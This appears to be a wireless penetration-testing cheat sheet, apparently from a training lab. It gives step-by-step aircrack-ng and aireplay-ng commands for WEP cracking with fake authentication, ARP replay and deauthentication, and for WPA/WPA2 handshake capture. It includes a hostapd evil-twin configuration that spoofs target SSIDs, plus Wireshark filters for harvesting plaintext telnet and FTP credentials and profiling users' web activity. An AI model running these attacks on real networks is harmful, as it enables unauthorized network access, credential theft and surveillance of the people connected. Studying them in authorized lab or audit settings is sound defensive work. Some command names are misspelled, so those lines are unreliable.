**NICs**

Get MAC address for NICs – >macchanger -s <interface>

Compare “Permanent MAC” to the MAC on card.

>nano /etc/udev/rules.d/70-persistent-cd.rules

SUBSYSTEM==”net”,ACTION==”add”,DRIVERS==”?\*”,ATTR{address}==”<MACADDR>”,ATTR{type}==”1”,NAME=”<desired name>”

**GPS**

Get the Vendor and Product Values – >lsusb (look for “Prolific”)

>nano /etc/udev/rules.d/99-usb-serial.rules

SUBSYSTEM==”tty”,ATTRS{idVendor},==”067b”,ATTRS{idProduct}==”2303”,SYMLINK+=”GPS”

**Kismet**

Configure channel hop speed and GPS

>nano /etc/kismet/kismet.conf

Adjust hop speed – channel\_hop\_speed=4/sec

Add or uncomment – gps=gpsd:host=localhost,port=2947,reconnect=true

Add or uncomment – gps=gpsd:device=/dev/GPS,reconnect=true,name=laptop

Configure output

>nano /etc/kismet/kismet\_logging.conf

Modify log for data management – log\_title=<your\_management\_name\_here!>

Specify output location – log\_prefix=./<desired location>

Add pcapppi to output – log\_types=pcapppi

Configure device drop time

>nano /etc/kismet/kismet\_memory.conf

Adjust timeout (in seconds) – tracker\_device\_timeout=5

Kismet Usage

>kismet -t <output name> -p <output location> -c <interface>

-c auto starts selected interface

-t overrides default/configured output name

-p overrides default/configured output location

Open Web UI

<http://localhost:2501>

right click on link at the top and “Open Link”

Begin Survey

Select menu (upper left-hand side of interface)

Select Data Source

Enable desired network interface cards

**Monitor Mode**

>ifconfig <interface> down

>iwconfig <interface> mode monitor/managed

>ifconfig <interface> up

**Survey**

>airodump-ng -b abg <interface>

**WEP Cracking**

Terminal 1 “airodump”

>airodump-ng -b abg -t WEP <interface>

>ctrl+c

>airodump-ng –bssid <tgt AP> -c <channel> -w <file name> --output-format cap <interface>

Terminal 2 “Fake Auth”

>airepla-ng -1 6000 -o 1 -q 10 -a <tgt AP> <interface>

Terminal 3 “ARP replay”

>aireplay-ng -3 -b <tgt AP> <interface>

Terminal 4

>aireplay-ng -0 1 -a <tgt AP> <interface>

*Only pick a client that has power greater than )*

*Data needs to exceed 50,000 before ending WEP attack*

*close down terminal order 3,2,1*

>aircrack-ng -0 -z <cap file>

**WPA/WPA2 Cracking**

Terminal 1 “airodump”

>airodump-ng –bssid <tgt AP> <interface>

>airodump-ng -w <file name> --output-format cap -c <channel> -d <tgt MAC> <interface>

Terminal 2 “deauth”

>aireplay-ng -0 1 -a <tgt AP> -c <target client MAC> --deauth-rc 15 <interface>

**WPA/WPA2 Unassociated**

Terminal 1

>apt update

>apt install hostapd

>nano fake\_ap.conf /home/<user>/Desktop

#Use second interface that is NOT in monitor mode to set up fake\_AP and change >

country\_code=US

interface=<interface not in monitor mode>

hw\_mode=g

channel=6

driver=nl80211

ssid=<tgt ssid>

auth\_algs=1

wpa=2

wpa\_key\_mgmt=WPA-PSK

wpa\_pairwise=TKIP

rsn\_pairwise=CCMP

wpa\_passphrase=123456789

macaddr\_acl=0

auth\_algs=1

ignore\_broadcast\_ssid=0

*#NOTE: as you capture handshakes for AP’s, stop hostapd and nano back into it to change SSID for the next AP of interest, and change output file name in “airodump-ng” until you have all the handshakes for each AP saved in a different capture file.*

Put other wlan interface in monitor mode (if not already)

Terminal 2

>ifconfig -a

>airodump-ng -c <channel in fake\_ap.conf> -w <file name> --output-format cap <interface>

Terminal 3

>hostapd -d fake\_ap.conf

*stop hostapd (*ctrl+c*) and edit the fake\_ap.conf for next AP, then repeat “airodump-ng” and “hostapd -d”.*

Terminal 4

>aircrack-ng -w <dictionary file> <capture file>

*Repeat this process for each SSID that is probing for an SSID and the station is unassociated (not connected to a network). You will see “not associated” under the BSSID column and the SSID being probed under the “Probes” column for the SSIDs this attack is designed.*

*\*If the station is connected to a network, meaning in Airodump-ng you see a BSSID in the STA ONLY view under the “BSSID” column, then you will have to conduct a Deauth attack for that client in order to capture the handshake when it reconnects to that network.*

*\*\*You must be camped on the channel of the BSSID in order to capture the handshake. If your Airodump-ng is on a different channel or scanning through channels you won’t be able to capture the handshake.*

**Analysis (Wireshark)**

Info to find:

Access Point Clients

BSSID MAC

OUI OUI

Make/Model Make/Model

LAB IP

SSID Hostname

Channel TTL

Encryption UAS

IP UserAgentBreakout

Active Ports

Probed SSIDs

Layer 7

**Layer 1**

*click Edit/Preferences/Protocols/IEEE 🡪 to add passwords/passphrase to cap file (password:ssid)*

Use Wireshark Protocol Hierarchy to get snapshot of capture

Identify protocols of interest or opportunity (plaintext, protocols that bleed, or can be exploit vectors)

Filter and export packets from Aps of interest

Wireless 🡪 WLAN Traffic

wlan.fc.type\_subtype==8

sort data by beacons

Alternatively try conversations

wlan.fc.type\_subtype==5

For stealth SSIDs look for association requests

wlan.fc.type\_subtype==0

**Layer 2**

Filter on eapol

Breaking out the locally administered bit (LAB)

If second nibble in first byte equals: 2,3,6,7,a,b,e,f

wlan.ssid==<ssid>

wlan.addr==<MAC>

Associated stations: Filter on an AP to discover the associated stations/Aps

Wireless 🡪 WLAN Traffic 🡪 Filter

Statistics 🡪 Conversations 🡪 Filter with wlan.ra==<BSSID>

Sort data by pkts sent

Use the below to further filter

wlan.addr[1:4]==<MAC (middle 4 bytes)> && !(wlan.addr[0:2]==01:00) && !(wlan.addr[0:2]==33:33) && !(wlan.addr[0:2]==ff:ff)

Open yEd and map above info

**Layer 3**

IP addresses associated to MACs

Subnet Mask

Associated IP addresses

wlan.addr==<MAC> && dhcp

wlan.addr==<MAC> && arp

**Layer 4**

Ports of interest (Irregular ports / services offered / Client-Server roles / Internally hosted servers)

Lower port = Server / Higher port= = Client

Note irregularities

Note use of “security ports” and destination

udp or tcp

ip.addr==<ip addr> && tcp

ip.addr==<ip addr> && tcp.port==<port#>

ip.addr==<ip addr> && udp.port==<port#>

Enumerate TTL

ip.addr==<ip addr> && ip.ttl

Linux/Unix 🡪 64

Windows 🡪 128

Solaris/AIX 🡪 254

Android 🡪 64

**Layer 5**

Device characterization, NetBIOS names, Hostnames

nbns.name 🡪 shows NetBIOS names

nbns 🡪 shows all NetBIOS traffic

Statistics 🡪 Resolved Addresses 🡪 “Info” tab will show all the NetBIOS names

**Layer 6**

Unencrypted protocols

telnet 🡪 plain text username, passwords, and commands

ftp 🡪 plain text username, passwords, and commands

tftp 🡪 UDP FTP that sends plain text via write and read requests

dns 🡪 Reveals target web activity

voip 🡪 Wireshark can reconstruct VOIP call sessions, look for SIP, RTP

irc 🡪 Internet Relay Chat

http 🡪 Web traffic

**Layer 7**

Websites / user activity

Follow Streams.

Client will appear in red and Server will appear in blue

http.request.method==”GET”

will contain User-Agent Strings (Operating System / Browser)

Notate visited URLs and referrers for target development

User agent strings

http.user\_agent

OS Breakouts:

Win NT 5.0 = Win 2000

Win NT 5.1 = Win XP

Win NT 6.0 = Win Vista / Win Serv 2008

Win NT 6.1 = Win 7

Win NT 6.2/6.3 = Win 8 / Win Serv 2012

Win NT 10.0 = Win 10 / Win Serv 2016

Others = Fairly simple to breakout by reading the user agent string or use parser

(<https://browscap.org/ua-lookup>, <http://www.useragentstring.com/>)

DNS is a human construct that allows for IP-to-name resolution when browsing the web.

dns

A record = resolves a URL to an IPv4 address

Pointer record = resolves an IPv4 address to a URL

AAAA record = resolves a URL to an IPv6 address

look for “Queries” and “Answers”

IRC

irc

irc.response

irc.request

look for traffic on port 6667

wlan.ssid || eapol || irc

Follow TCP stream

data contains “PRIVMSG”

FTP

ftp

ftp.request.arg

ftp.response.arg

ftp-data